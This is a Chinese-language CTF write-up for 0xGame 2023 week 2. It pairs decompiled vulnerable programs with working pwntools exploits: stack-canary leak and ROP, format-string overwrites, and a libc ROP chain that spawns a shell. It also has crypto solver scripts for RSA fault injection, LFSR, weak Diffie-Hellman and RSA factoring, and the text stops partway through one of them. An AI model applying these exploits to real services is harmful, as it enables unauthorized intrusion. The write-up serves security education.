[0xGame 2023 week2] pwn/crypto/reverse

PWN

ezshop

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  bufinit(argc, argv, envp);
  puts(&byte_2100);
  while ( 1 )
  {
    puts(a1_0);
    puts(a2_0);
    puts(a3);
    printf(">> ");
    __isoc99_scanf(&unk_2099, &v3);
    if ( v3 == 3 )
      exit(0);
    if ( v3 > 3 )
    {
LABEL_10:
      puts(&byte_2147);
      puts(&byte_209C);
    }
    else if ( v3 == 1 )
    {
      shop();
    }
    else
    {
      if ( v3 != 2 )
        goto LABEL_10;
      haokangde();
    }
  }
}
int shop()
{
  _DWORD *v0; // rax
  int v2; // [rsp+8h] [rbp-8h] BYREF
  int v3; // [rsp+Ch] [rbp-4h] BYREF

  printf(&format, (unsigned int)money);
  puts(&byte_2030);
  puts(a1);
  puts(a2);
  puts(a3Flag);
  puts(&byte_2089);
  __isoc99_scanf(&unk_2099, &v3);
  if ( v3 > 0 && v3 <= 3 )
  {
    puts(&byte_20B5);
    __isoc99_scanf(&unk_2099, &v2);
    if ( v2 <= 10 )
    {
      if ( money - price_arr[v3 - 1] * v2 >= 0 )
      {
        money -= price_arr[v3 - 1] * v2;
        v0 = shopping_cart;
        ++shopping_cart[v3 - 1];
      }
      else
      {
        LODWORD(v0) = puts(&byte_20C2);
      }
    }
    else
    {
      LODWORD(v0) = puts(&byte_209C);
    }
  }
  else
  {
    LODWORD(v0) = puts(&byte_209C);
  }
  return (int)v0;
}

在shop这个函数数量没限制负值,导致可以输入负数量达到增加钱的目的

┌──(kali㉿kali)-[~/ctf/1008]
└─$ nc 8.130.35.16 55002
欢迎来到0xGame补给站!
1. 购买
2. 看好康的
3. 退出
>> 1
钱包里有 1000 元
商品列表:
1. 快乐水 ¥4/瓶
2. 大大酥 ¥50/大包
3. flag  ¥10000000/个
想买点啥?
2
要几个?
-333333
1. 购买
2. 看好康的
3. 退出
>> 1
钱包里有 16667650 元
商品列表:
1. 快乐水 ¥4/瓶
2. 大大酥 ¥50/大包
3. flag  ¥10000000/个
想买点啥?
3
要几个?
1
1. 购买
2. 看好康的
3. 退出
>> 2
你过来哦......
0xGame{f78ad928-29c4-4268-bd80-4fa970456c92}

calc

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int v4; // [rsp+8h] [rbp-18h] BYREF
  int i; // [rsp+Ch] [rbp-14h]
  unsigned int v6; // [rsp+10h] [rbp-10h]
  unsigned int v7; // [rsp+14h] [rbp-Ch]
  unsigned __int64 v8; // [rsp+18h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  bufinit(argc, argv, envp);
  init_seed();
  puts("Welcome to the calc game!");
  for ( i = 0; i <= 99; ++i )
  {
    v6 = rand();
    v7 = rand();
    printf("====Round %d====\n", (unsigned int)(i + 1));
    printf("%d+%d=", v6, v7);
    __isoc99_scanf("%d", &v4);
    if ( v7 + v6 != v4 )
    {
      puts("Wrong!");
      exit(0);
    }
    puts("Correct!");
  }
  puts("Congratulations! Here's your shell!");
  system("/bin/sh");
  return 0;
}

一个加法的计算题,就是个编程处理,那边还用上导数呢。这个小意思了

from pwn import *

p = remote('8.130.35.16', 55001)
context.log_level = 'debug'

p.recvline()
for i in range(100):
    p.recvline()
    v = p.recvuntil(b'=', drop=True).split(b'+')
    v = [int(i) for i in v]
    p.sendline(str(sum(v)).encode())
    p.recvline()

p.sendline(b'cat flag')
p.interactive()

 

ezcanary

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char v4; // [rsp+Fh] [rbp-21h]
  char buf[24]; // [rsp+10h] [rbp-20h] BYREF
  unsigned __int64 v6; // [rsp+28h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  bufinit();
  puts("Ur name plz?");
  read(0, buf, 0x100uLL);
  printf("Hello, %s. Is that right?", buf);
  v4 = getchar();
  if ( v4 == 121 || v4 == 89 )
  {
    puts("Then new name plz.");
    read(0, buf, 0x100uLL);
    printf("Hello, %s.", buf);
  }
  puts("Wish you a wonderful day. Bye.");
  return 0;
}

有溢出,但作了canary防护,不过在循环里可以通过溢出将canary带出,然后再溢出ROP

from pwn import *

p = remote('8.130.35.16', 55000)
context(arch='amd64',log_level = 'debug')

p.sendafter(b"Ur name plz?\n", b'A'*25)

p.recvuntil(b'A'*25)
canary = b'\x00' + p.recv(7)

p.send(b'Y')
p.sendafter(b"Then new name plz.\n" ,b'A'*24 + flat(canary, 0, 0x401253, 0x401216))

p.sendline(b'cat flag')
p.interactive()
#0xGame{e2f82359-ac00-42a9-827e-213467ae840b}

 

fmt1

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-110h] BYREF
  int v5; // [rsp+100h] [rbp-10h] BYREF
  int v6; // [rsp+104h] [rbp-Ch]
  int *v7; // [rsp+108h] [rbp-8h]

  bufinit(argc, argv, envp);
  v7 = &v5;
  v6 = 8227;
  v5 = 8447;
  printf("Input your content: ");
  read(0, buf, 0x100uLL);
  printf(buf);
  if ( v6 == v5 )
  {
    puts("Congratulations! Now here is your shell!");
    puts("And welcome to format string world!");
    system("/bin/sh");
  }
  return 0;
}

通过格式化字符串修改v5,在栈里已经放了*v7指向他,只需要计算偏移

from pwn import *

p = remote('8.130.35.16', 52000)
context(arch='amd64',log_level = 'debug')

p.sendafter(b"Input your content: ", b"%40$ln")

p.sendline(b'cat flag')
p.interactive()

 

fmt2

int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
  char buf[256]; // [rsp+0h] [rbp-100h] BYREF

  bufinit(argc, argv, envp);
  while ( 1 )
  {
    do
    {
      printf("Input your content: ");
      read(0, buf, 0x100uLL);
      printf(buf);
    }
    while ( a != -559038737 );
    system("/bin/sh");
  }
}

小升级版,没有指针了,需要自己泄露加载地址

from pwn import *

p = remote('8.130.35.16', 52001)
context(arch='amd64',log_level = 'debug')

#p.sendafter(b"Input your content: ", b"%p,"*0x30)
p.sendafter(b"Input your content: ", b"%43$p\n\x00")
addr = int(p.recvline(), 16) - 0x120e
a_addr = addr + 0x4048

for i,v in enumerate(p32(0xDEADBEEF)):
    p.sendafter(b"Input your content: ", f"%{v}c%8$hhn".ljust(16).encode()+p64(a_addr + i))
    
p.sendline(b'cat flag')
p.interactive()
#0xGame{Not_v3ru_h4Rd_tho_91610enxg}

leak_env

int __cdecl main(int argc, const char **argv, const char **envp)
{
  void *buf[2]; // [rsp+0h] [rbp-10h] BYREF

  buf[1] = (void *)__readfsqword(0x28u);
  bufinit(argc, argv, envp);
  printf("Here's your gift: %p\n", &printf);
  puts("You have a chance to arbitrary read 8 bytes.");
  printf("Where do you want to read?");
  __isoc99_scanf("%p", buf);
  printf("Here you are: ");
  write(1, buf[0], 8uLL);
  putchar(10);
  puts("Now show me your magic.");
  printf("Where do you want to place it?");
  __isoc99_scanf("%p", buf);
  puts("Now place it.");
  read(0, buf[0], 0x30uLL);
  printf("Good luck!");
  return 0;
}

给了libc地址,并可以写一个指针泄露。这里根据名字需要写_environ的地址,然后把栈地址泄露出来,再在栈里写ROP

from pwn import *

#p = process('./leakenv')
p = remote('8.130.35.16', 52003)
context(arch='amd64',log_level = 'debug')

libc = ELF('./libc.so.6')

p.recvuntil(b"Here's your gift: ")
libc.address = int(p.recvline(), 16) - libc.sym['printf']

p.sendlineafter(b"Where do you want to read?", hex(libc.sym['_environ'])[2:].encode())

p.recvuntil(b"Here you are: ")
stack = u64(p.recv(8)) - 0x100
print(f"{stack = :x}")
#gdb.attach(p, "b*0x5555555553b1\nc")

p.sendlineafter(b"Where do you want to place it?", hex(stack)[2:].encode())

pop_rdi = next(libc.search(asm('pop rdi;ret')))
bin_sh  = next(libc.search(b'/bin/sh\x00'))
system  = libc.sym['system']
p.send(flat(pop_rdi+1, pop_rdi, bin_sh, system,0,0))

p.sendline(b'cat /flag')
p.interactive()

#0xGame{A11_1n_ur_l1bc_129eh2v89a0}

CRYPTO

Fault!Fault!

from Crypto.Util.number import *
import socketserver
import signal
#from secret import flag
import random
import os
import string
from hashlib import sha256
from string import ascii_uppercase
from random import shuffle,choice,randint
import os
flag = b'flag{..................}'

q = getPrime(512)
p = getPrime(512)
e = 65537
n = q*p
phi = (q-1)*(p-1)
d = inverse(e,phi)

def decrypt(c,d,n,index):
    """something go wrong"""
    d_ = d^(1<<(index))
    m_ = pow(c,d_,n)
    return str(m_)

MEMU = """
    Welc0me_2_0xGame2023!
/----------------------------\\
|          options           |
| [S]ign                     |
| [F]ault injection          |
| [C]heck answer             |
\\---------------------------/
"""


class Task(socketserver.BaseRequestHandler):
    def proof_of_work(self):
        '''验证函数'''
        random.seed(os.urandom(8))
        proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
        _hexdigest = sha256(proof.encode()).hexdigest()
        self.send(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
        x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
        if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
            return False
        return True

    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self._recvall()

    def timeout_handler(self, signum, frame):
        raise TimeoutError

        '''以上是交互部分'''
    def handle(self):
        '''题干'''
        signal.signal(signal.SIGALRM, self.timeout_handler)
        signal.alarm(300)
        self.send(MEMU)
        print(d)
        '''
        if not self.proof_of_work():
            self.send(b'[!] Wrong!')
            return
        '''
        self.send(MEMU.encode())
        while True:
            code = self.recv()
            if code == b'S':
                self.send(b'What you want to sign?:')
                m = bytes_to_long(self.recv())
                c = pow(m,e,n)
                self.send(f'{n}\n{e}\n{c}'.encode())
                
            elif code == b'F':
                self.send(b'Give me the Signatrue:')
                Signatrue = int(self.recv())
                self.send(b'Where you want to interfere?')
                index = int(self.recv())
                self.send(b'The decrypt text:')
                self.send(decrypt(Signatrue,d,n,index).encode())

            elif code == b'C':
                self.send(b'Give me the private key:')
                ans = int(self.recv())
                if ans == d:
                    self.send(b'Here is your flag:')
                    self.send(flag)
                    
            else:
                self.send(b'invaild input')

class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass

class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass

if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10005
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

好长的程序,大概意思就是输入一个位置idx,然后把d与(1<

这里如果d的某一位为1,当异或后变为0,那么这个d就少了1<

k*pow(c, 1<

这样就能判断这位是否为1.

程序有个坑点,有人入坑了。题目交互很慢,而d有1000多位,所以一次交互无法完成。这题启动时生成的n,多次连接只要后台不重启就不会变,所以可以多弄两次,每次记一部分下回接着开始就行了。下边这是我第3次的部分,前边的部分d是前两次得到的结果。

from Crypto.Util.number import *
import string
from hashlib import sha256
from gmpy2 import * 
from pwn import *

p = remote('43.139.107.237', 10005)
#p = remote('127.0.0.1', 10005)
#context(log_level = 'debug')


#proof
p.recvuntil(b"[+] sha256(XXXX+")
tail, hashv = p.recvline().decode().strip().split(') == ')
found = iters.bruteforce(lambda x: sha256(x.encode() + tail.encode()).hexdigest() == hashv, string.ascii_letters+string.digits,4, method='fixed')
p.sendlineafter(b'[+] Plz tell me XXXX: ', found.encode())

def enc(v):
    p.sendlineafter(b"> ", b'S')
    p.sendlineafter(b'> ', v)
    n = int(p.recvline())
    e = int(p.recvline())
    c = int(p.recvline())
    return n,e,c

def geti(i):
    p.sendlineafter(b"> ", b'F')
    p.sendlineafter(b'> ', str(c).encode())
    p.sendlineafter(b'> ', str(i).encode())
    p.recvline()
    k = int(p.recvline())
    if k*pow(c, 1< ", b'C')
    p.sendlineafter(b'Give me the private key:', str(d).encode())
    p.recvline()
    print(p.recvline())
 
#get n
m = b'S' #83
n,e,c = enc(m)
print(n,e,c)

#context(log_level = 'debug')

bd = '1001000110100101101101101101100011000101100111010110100000100010011110101011001001011100101110010110001000100101011000110000010111110010111011111100000100111000011101110000011011100010010100000010101111001001010100101001001000110100100101110110101001100010010110111000001001001100010011010100010000001010000100111010001000001111110101000111010111001110100100111110011011101110101001000000100010100000000110111000100111111011101001101000110010011001111111001110100001110011100110000101000010100010101111010110001110110111011100000000110111011000100011101000110001101100001010110000101111101110001100010111000011111000000011111100010011110101101010101010001111001110000001101010100111011110011001010010001000101001000100101110011001101001000011110111110101001111010110'
for i in range(766,1024):
    p.recv(2)
    p.sendline(f'F'.encode())
    p.recvline()
    p.sendline(f'{c}'.encode())
    p.recvline()
    p.sendline(f'{i}'.encode())
    p.recvline()
    msg = p.recvline()
    #print(msg)
    k = int(msg)
    if k*pow(c, 1<

EzLFSR

from Crypto.Util.number import *
from secret import flag,secret

assert flag == b'0xGame{'+secret+b'}'

def make_mask(m):
    tmp = str(bin(bytes_to_long(m)))[2:].zfill(128)
    return tmp

def string2bits(s):
    return [int(b) for b in s]

def bits2string(bs):
    s = [str(b) for b in bs]
    return ''.join(s)

def lfsr(state, mask):
    assert(len(state) == 128)
    assert(len(mask)  == 128)

    output = 0
    for i in range(128):
        output = output ^ (state[i] & mask[i])

    return output

if __name__ == '__main__':
    initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
    secret = make_mask(secret)
    mask = string2bits(secret)

    for b in secret: assert(b == '0' or b == '1')
    assert(len(secret) == 128)

    for i in range(256):
        state = initState[i:]
        output = lfsr(state, mask)
        initState += [output]

    outputState = bits2string(initState[128:])
    print('outputState =', outputState)

'''
outputState = 1101111111011101100001000011111101001000111000110100010011110111010011100110100100111001101010110110101110000011110101000110010010000011111111001111000110111001100111101110010100100001101001111110001010000100111101011011100010000000100000100000100111010110
'''

这种东西如果不加特殊限制有固定的解法就没难度了。直接矩阵求左。

initState = [0, 1, 0, 1, 1, 0, 0, 1, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 0, 1, 1, 1, 0, 0, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0]
outputState = [int(v) for v in '1101111111011101100001000011111101001000111000110100010011110111010011100110100100111001101010110110101110000011110101000110010010000011111111001111000110111001100111101110010100100001101001111110001010000100111101011011100010000000100000100000100111010110']
out = initState + outputState
c = vector(GF(2), outputState)

M = matrix(GF(2), 256,128)
for i in range(256):
    for j in range(128):
        M[i,j] = out[i+j] 

m = M.solve_right(c)
ms = int(''.join(str(v) for v in m),2)
long_to_bytes(ms)
#Rec0ver_the_M@sk
#0xGame{Rec0ver_the_M@sk}

What's CRT?

from Crypto.Util.number import *
from secert import flag

m = bytes_to_long(flag)
e = 260792700
q,p,q_,p_ = [getPrime(512) for _ in range(4)]
gift = [q+p,q_+p_]
n,n_ = q*p,q_*p_
mq_ = pow(m,4,q_)
mp_ = pow(m,4,p_)
c = pow(m,e,n)

print(f'mygift={gift}\nmq_={mq_}\nmp_={mp_}\nn={n}\nn_={n_}\nc={c}')

mygift=[15925416640901708561793293991573474917595642805739825596593339102414328214313430010166125066639132916608736569443045051644173933089503934675628814467277922, 18342424676996843423829480445042578097182127446865571536445030052846412665700132683433441858073625594933132038175200824257774638419166516796318527302903098]
mq_=6229615098788722664392369146712291169948485951371133086154028832805750551655072946170332335458186479565263371985534601035559229403357396564568667218817197
mp_=7514598449361191486799480225087938913945061715845128006069296876457814528347371315493644046029376830166983645570092100320566196227210502897068206073043718
n=63329068473206068067147844002844348796575899624395867391964805451897110448983910133293450006821779608031734813916287079551030950968978400757306879502402868643716591624454744334316879241573399993026873598478532467624301968439714860262264449471888606538913071413634346381428901358109273203087030763779091664797
n_=84078907800136966150486965612788894868587998005459927216462899940718213455112139441858657865215211843183780436155474431592540465189966648565764225210091190218976417210291521208716206733270743675534820816685370480170120230334766919110311980614082807421812749491464201740954627794429460268010183163151688591417
c=12623780002384219022772693100787925315981488689172490837413686188416255911213044332780064192900824150269364486747430892667624289724721692959334462348218416297309304391635919115701692314532111050955120844126517392040880404049818026059951326039894605004852370344012563287210613795011783419126458214779488303552

1,题目给了p+q,p_+q_ 这样可以直接爆破出p,q,p_,q_

2,由于给的e=4所以要分别对因子求解,然后再用crt

from z3 import *

p,q,p_,q_ = Ints('p q p_ q_')
s = Solver()
s.add(p*q == n)
s.add(p+q == mygift[0])
s.check()
s.model()
q = 7687653192574283689842465763299611592007909813801176843577189341409409692975753037402253496632410364594655611337156337669083582400443042348458268161331043
p = 8237763448327424871950828228273863325587732991938648753016149761004918521337676972763871570006722552014080958105888713975090350689060892327170546305946879

s = Solver()
s.add(p_*q_ == n_)
s.add(p_+q_ == mygift[1])
s.check()
s.model()
q_ = 8991690869897246321907509983425307437365288417861457732721314572165773880898701105065818281248373676758405021157703190132511219384704650086565345885727777
p_ = 9350733807099597101921970461617270659816839029004113803723715480680638784801431578367623576825251918174727017017497634125263419034461866709753181417175321

e4 = e//4 
c = pow(c, invert(e4, (p-1)*(q-1)), n)
_,yp,yq = gcdext(p,q)
def rabin(c):
    mp = pow(c,(p+1)//4,p)
    mq = pow(c,(q+1)//4,q)
    a = (yp*p*mq + yq*q*mp)%n
    # b = n - a
    # c = (yp*p*mq - yq*q*mp)%n
    # d = n - c
    return a

for i in range(2):
    c = rabin(c)
    print(long_to_bytes(c))

中间的那个人

from secret import flag
from Crypto.Util.number import *
from Crypto.Cipher import AES
from hashlib import sha256
from random import *

p = getPrime(128)
g = 2
A = getrandbits(32)
B = getrandbits(32)

Alice = pow(g,A,p)
Bob = pow(g,B,p)
key = pow(Alice,B,p)
key = sha256(long_to_bytes(key)).digest()

iv = b"0xGame0xGameGAME"
aes = AES.new(key, AES.MODE_CBC, iv)
enc = aes.encrypt(flag)
print(f'g={g}\np={p}')  #we tell
print(f'Bob={Bob}')     #Bob tell
print(f'Alice={Alice}') #Alice tell

print(f'enc={enc}')#Here is they secret


g=2
p=250858685680234165065801734515633434653
Bob=33067794433420687511728239091450927373
Alice=235866450680721760403251513646370485539
enc=b's\x04\xbc\x8bT6\x846\xd9\xd6\x83 y\xaah\xde@\xc9\x17\xdc\x04v\x18\xef\xcf\xef\xc5\xfd|\x0e\xca\n\xbd#\x94{\x8e[.\xe8\xe1GU\xfa?\xda\x11w'

给出了g^A,g^B,让求g^(A*B),由于这里的p很小,可以直接求出A就得到结果了

A = discrete_log(Alice,mod(2,p))
A = 3992780394
#B = discrete_log(Bob,mod(2,p))   #1620639479

key = pow(Bob,A,p)
#key = pow(Alice,B,p)
key = sha256(long_to_bytes(key)).digest()

iv = b"0xGame0xGameGAME"
aes = AES.new(key, AES.MODE_CBC, iv)
flag = aes.decrypt(enc)
#0xGame{51393fe1fd5fc2df1bf018d06f0fa11d}

EzRSA

from challenges.challenge1 import RSAServe as challenge1
from challenges.challenge2 import RSAServe as challenge2
from challenges.challenge3 import RSAServe as challenge3
from secret import flag
import random
import os
import string
from hashlib import sha256
from string import ascii_uppercase
from random import shuffle,choice,randint
import os
import socketserver
import signal


SCORE = [0, 0, 0]
BANNER = """
 ____  ____    _    
|  _ \/ ___|  / \   
| |_) \___ \ / _ \  
|  _ < ___) / ___ \ 
|_| \_\____/_/   \_\

Here are four challenges(1, 2, 3), solve them all then you can get flag.
"""
MEMU = """
/----------------------------\\
|          options           |
| 1. get public key          |
| 2. get cipher text         |
| 3. check                   |
\\---------------------------/
"""

class Task(socketserver.BaseRequestHandler):
    def proof_of_work(self):
        '''验证函数'''
        random.seed(os.urandom(8))
        proof = ''.join([random.choice(string.ascii_letters+string.digits) for _ in range(20)])
        _hexdigest = sha256(proof.encode()).hexdigest()
        self.send(f"[+] sha256(XXXX+{proof[4:]}) == {_hexdigest}".encode())
        x = self.recv(prompt=b'[+] Plz tell me XXXX: ')
        if len(x) != 4 or sha256(x+proof[4:].encode()).hexdigest() != _hexdigest:
            return False
        return True

    def _recvall(self):
        BUFF_SIZE = 2048
        data = b''
        while True:
            part = self.request.recv(BUFF_SIZE)
            data += part
            if len(part) < BUFF_SIZE:
                break
        return data.strip()

    def send(self, msg, newline=True):
        try:
            if newline:
                msg += b'\n'
            self.request.sendall(msg)
        except:
            pass

    def recv(self, prompt=b'> '):
        self.send(prompt, newline=False)
        return self._recvall()

    def timeout_handler(self, signum, frame):
        raise TimeoutError

    def Serve(self, S):
        self.send(MEMU.encode())
        while True:
            option = self.recv()
            if option == b'1':
                pubkey = S.pubkey()
                for s in pubkey:
                    self.send(str(s).encode())
            elif option == b'2':
                c = S.encrypt()
                self.send(c.encode())
            elif option == b'3':
                usr_answer = self.recv(b"input your answer: ")
                return S.check(usr_answer)
            else:
                self.send(b"invaild option")

    def handle(self):
        signal.signal(signal.SIGALRM, self.timeout_handler)
        signal.alarm(300)
        if not self.proof_of_work():
            self.send(b'[!] Wrong!')
            return
        self.send(BANNER.encode())
        while True:
            self.send(f'your score {sum(SCORE)}'.encode())
            if sum(SCORE) == 3:
                self.send(f"here are flag:{flag}".encode())
                break
            self.send(b'select challange{1,2,3}')#
            code = self.recv()
            if code == b'1':
                S = challenge1()
                res = self.Serve(S)
                if res == True:
                    SCORE[0] = 1
                    self.send(b'Conguration!You are right!')
            elif code == b'2':
                S = challenge2()
                res = self.Serve(S)
                if res == True:
                    SCORE[1] = 1
                    self.send(b'Conguration!You are right!')
            elif code == b'3':
                S = challenge3()
                res = self.Serve(S)
                if res == True:
                    SCORE[2] = 1
                    self.send(b'Conguration!You are right!')
            else:
                self.send(b'invaild input')


class ThreadedServer(socketserver.ThreadingMixIn, socketserver.TCPServer):
    pass


class ForkedServer(socketserver.ForkingMixIn, socketserver.TCPServer):
    pass


if __name__ == "__main__":
    HOST, PORT = '0.0.0.0', 10006
    server = ForkedServer((HOST, PORT), Task)
    server.allow_reuse_address = True
    print(HOST, PORT)
    server.serve_forever()

#1-----------------
from Crypto.Util.number import *
from secret import flag1
import random

class RSAServe:
    def __init__(self) -> None:
        self.e = 65537
        self.p = getPrime(1024)
        self.q = getPrime(1024)
        self.n = self.q*self.p
        self.g, self.r1 = [random.randint(1, self.q*self.p) for _ in range(2)]
        self.gift = pow(self.g, self.r1 * (self.p - 1), self.n)
        self.m = flag1

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.p*self.q)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return self.p*self.q, self.e,self.gift
#2-------------------
from Crypto.Util.number import *
from secret import flag2
from random import choice

class RSAServe:
    def __init__(self) -> None:
        self.e = 65537
        self.m = flag2
        self.p = self.GetMyPrime(1024)
        self.q = self.GetMyPrime(1024)

    def GetMyPrime(self,bits):
        while True:
            n = 2
            while n.bit_length() < bits:
                a = choice(sieve_base)
                n *= a
            if isPrime(n + 1):
                return n + 1

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.p*self.q)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return self.p*self.q, self.e
#3----------------------
from Crypto.Util.number import *
from secret import flag3
from random import choice
from sympy import *
class RSAServe:
    def __init__(self) -> None:
        self.e = 65537
        self.m = flag3
        self.p = getPrime(896)
        self.n1 = self.getN()
        self.n2 = self.getN()

    def getN(self):
        q = getPrime(128)
        self.p = nextprime(self.p)
        return q*self.p

    def encrypt(self):
        m_ = bytes_to_long(self.m)
        c = pow(m_, self.e, self.n2)
        return hex(c)

    def check(self, msg):
        return msg == self.m

    def pubkey(self):
        return self.n1, self.n2 , self.e

又是一个很长的题,题分3部分

1,gift = g^(r*(p-1)) mod n 这里可推出 g-1|n 得到分解

2,p-1光滑,可用pollard方法分解

3,n由一个共同的p(经过next)很大和一个随机的q组成,所以两个p相差很小,n1/n2约等于q1/q2可以用连分式法求

由于3步计算时间可能稍长,而数据结果是固定的,可以先取到数据,再上传。

取数据

from Crypto.Util.number import *
from hashlib import sha256
import string 

from pwn import *

io = remote('43.139.107.237', 10006)
context(log_level = 'debug')


#proof
io.recvuntil(b"[+] sha256(XXXX+")
tail, hashv = io.recvline().decode().strip().split(') == ')
found = iters.bruteforce(lambda x: sha256(x.encode() + tail.encode()).hexdigest() == hashv, string.ascii_letters+string.digits,4, method='fixed')
io.sendlineafter(b'[+] Plz tell me XXXX: ', found.encode())

ans = [b"Fermat's little theorem?", b'EzFactor!', b'Continued fractionnnn']

for i in range(3):
    io.sendlineafter(b'select challange{1,2,3}', str(i+1).encode())
    '''
    io.sendlineafter(b'> ', b'1')
    print(io.recvline())
    io.sendlineafter(b'> ', b'2')
    print(io.recvline())
    '''
    io.sendlineafter(b'> ', b'3')
    io.sendlineafter(b"input your answer: ", ans[i])

print(io.recvline())
print(io.recvline())
print(io.recvline())
print(io.recvline())
io.interactive()

求值

from Crypto.Util.number import long_to_bytes as l2b, bytes_to_long as b2l
from gmpy2 import *

#1
n = 16337971345733371413499331261508458030575992514813508205447560146754226318829533675326143544764587215859970690593554236873730514978304995491266194879876073710064046659501396367619901194516170920154044953374062771227152717591970522339810481514608466676900893460914296126283117615214666723661535113375748525799536337127614791614720479064759066323294634814929910859863432058918730741813902112864516624506044246201127244618820383187011795110752969051072615305344969909668574639594316393874803563620012012701138356394544801856970106953412132807738307930527046820885423019081864256823206358907321480344569488921577730245113
e = 65537
gift = 5291727248564509502912149572020462152046246231347879433616058796748504905866286022874255529836259808160297658738035837545571665337373121372312841461315886309980309060188040665996189656436269713854203724781400558184806568900689952750814685340040276604779975762651652557843881437955857644935313396692070132503812316916703481926508697656996353475510736275497341869244915304658890255979541641843407754688270238114950363047763325643401053024590182529435317983446289369057966375471045836946146161343450229035550082953685088645107901497278573957351178563716547533774153782129005969073758674124847307700536500949555615784465
c = 0x2f26500359831c7328582cbcf56bb01802bd7ba30609bf1caa81d6b2ba6f53cf53063963c1d656fb71f46974e78dfd94f5ce13b298c4aeb444908d775e37cd9321652277aef797e26cea30244ca01e77e0bd10a3bd15032adcaebc5c085e8e32b659bba0cbf283359df1203a96c454227864ceae8b31e6a5a55d481d2d2b2314be80898b535aa37647f11bedc183ed8a5852238dff522ae53faf64d02c61b2658a5d81ba00c39282466e4dc4f7dc71444ac1a37dab076a53bb79612091b9bf68e78b0239e6204fdf284ebeb3f51dcaf6fb07dd51cd45d57cc58b9b33f85bacaab2423cb590a534f7114e064ed96c4f59d7d5d939db32a5c4979050d841bca2ef

p = gcd(gift-1, n)
q = n//p 
m = pow(c,invert(e, (p-1)*(q-1)),n)
l2b(m)
#b"Fermat's little theorem?"

#2 p-1光滑
n = 1792763770377761081581783449316412526572069055080869319009931340446901664944203275597095269419606990832977542354090858952355811419833475915287125467803053031692529275264712885048232744897205910036169844498379222237387738313971610404520758107699935322552065592411361750099097868520415400323414488435054417516824607034075826640781210642417874052630443697661981715458377235568513851341491472535018796175251755104614202232008230322091592851187948966251324132087255325748877901925558340145407637490452656644792209492227858633053650741179940546105179756634536757043853133425980621733392609964962309196913048190451542901901273737121
e = 65537
c = 0x1d7ce3ac644520dfc8d7b818d5c1d03cd16b35e623878ae42db663f3a99b1893532dc25f5c4dea653ce9edc24f2574eb5fe3876f55b72972c69371d7b839be430d7c67f5574348b96427455189cd0ed6981c8a482d2f3b24978a9151e4a24028e642875f13549b5d78bf3b6fc4b26c2e9211f64a3e5d4b0516f6670c63be9463a197c343d92a69949419e6505cbf13e8b75443de20a4378796d451807572baaf0c5db2119b0eeec23d7cb6a0b3de705ec395cbfb272852fab29c7ffad2171d6071fcb7111519e6019e724e9258e5577e2ae9374058231335d1a01bbfc0dd031df28b9b89bb6dbdaf5124d8f19c8a8517cf1592afc4991d2bd69ec21887d75106d2245c4

def pollard(N):
    a = 2
    n = 2
    while True:
        a = powmod(a, n, N)
        p = gcd(a-1, N)
        if p != 1 and p != N:
            return p
        n += 1

p = pollard(n)
q = n//p 
m = pow(c,invert(e, (p-1)*(q-1)),n)
l2b(m)
#b'EzFactor!'

#3 q1/q2 = n1/n2
n1 = 95515482128566293562023187021432122730123406778112965389829427483791937564379048251351141026508517661672357832787138050312276573051242272038677340849305220124834750268217068583481730509734126400432016039010534757409945624340040096875791417214488812623086861098561708051369331650482559206712282001087733785287
